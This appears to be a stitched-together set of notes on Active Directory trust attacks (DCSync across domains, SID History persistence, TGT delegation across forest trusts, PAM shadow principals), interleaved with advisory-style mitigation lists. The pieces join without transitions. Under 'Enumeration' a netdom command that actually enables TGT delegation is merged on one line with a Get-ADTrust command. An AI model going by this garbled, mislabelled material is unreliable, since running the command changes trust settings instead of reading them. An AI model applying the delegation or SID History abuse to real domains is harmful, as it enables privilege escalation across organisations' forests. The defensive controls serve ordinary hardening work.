When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller.

The following security controls should be implemented to mitigate a SID History compromise:
Ensure the ‘sIDHistory’ attribute is not used. Unless migrating user objects from one domain to another, the ‘sIDHistory’ attribute should not be required. If no user objects are configured with this attribute, then a SID History compromise is not possible.
Ensure the ‘sIDHistory’ attribute is checked weekly. Malicious actors may add a value to the ‘sIDHistory’ attribute of a user object they control to establish persistence. Regularly checking for this attribute on Active Directory objects may increase detection of this persistence strategy.
TGT Delegation is disabled by default and must be explicitly enabled across a trust for the trusted (target) forest
Enumeration
netdom trust trustingforest.local /domain:trustedforest.local /EnableTgtDelegation# AD Module - Run on trusting forest DC Get-ADTrust-server trustingforest.local -Filter *
If TGT Delagation is enable, Unconstrained Delegation can be used
PAM trust is usually enabled between a Bastion or Red forest and a production/user forest which it manages. Provides the ability to access the production forest with high privileges without using credentials of the bastion forest
Shadow Principals are created in the bastion domain which are then mapped to DA or EA groups SIDs in the production forest
The following security controls should be implemented to mitigate a one-way domain trust bypass:
Limit access to Domain Controllers to only privileged users that require access. This reduces the number of opportunities for malicious actors to gain access to Domain Controllers.
Restrict privileged access pathways to Domain Controllers to jump servers and secure admin workstations using only the ports and services that are required for administration. Domain Controllers are classified as ‘Tier 0’ assets within Microsoft’s ‘Enterprise Access Model’.
Encrypt and securely store backups of Domain Controllers and limit access to only Backup Administrators. Backups of Domain Controllers need to be afforded the same security as the actual Domain Controllers. Malicious actors may target backup systems to gain access to critical and sensitive computer objects, such as Domain Controllers.
Only use Domain Controllers for AD DS and do not install any non-security-related services or applications. This reduces the attack surface of Domain Controllers as there are fewer services, ports and applications that may be vulnerable and used to compromise a Domain Controller.
Centrally log and analyse Domain Controller logs in a timely manner to identify malicious activity. Domain Controller logs provide a rich source of information that is important for investigating potentially malicious activity on Domain Controllers and in the domain.
Disable the Print Spooler service on Domain Controllers. For example, malicious actors have targeted the Print Spooler service on Domain Controllers as a technique to authenticate to a system they control to collect the Domain Controllers computer object password hash or TGT. Malicious actors can then use this to authenticate to the Domain Controller they coerced and gain administrative access.
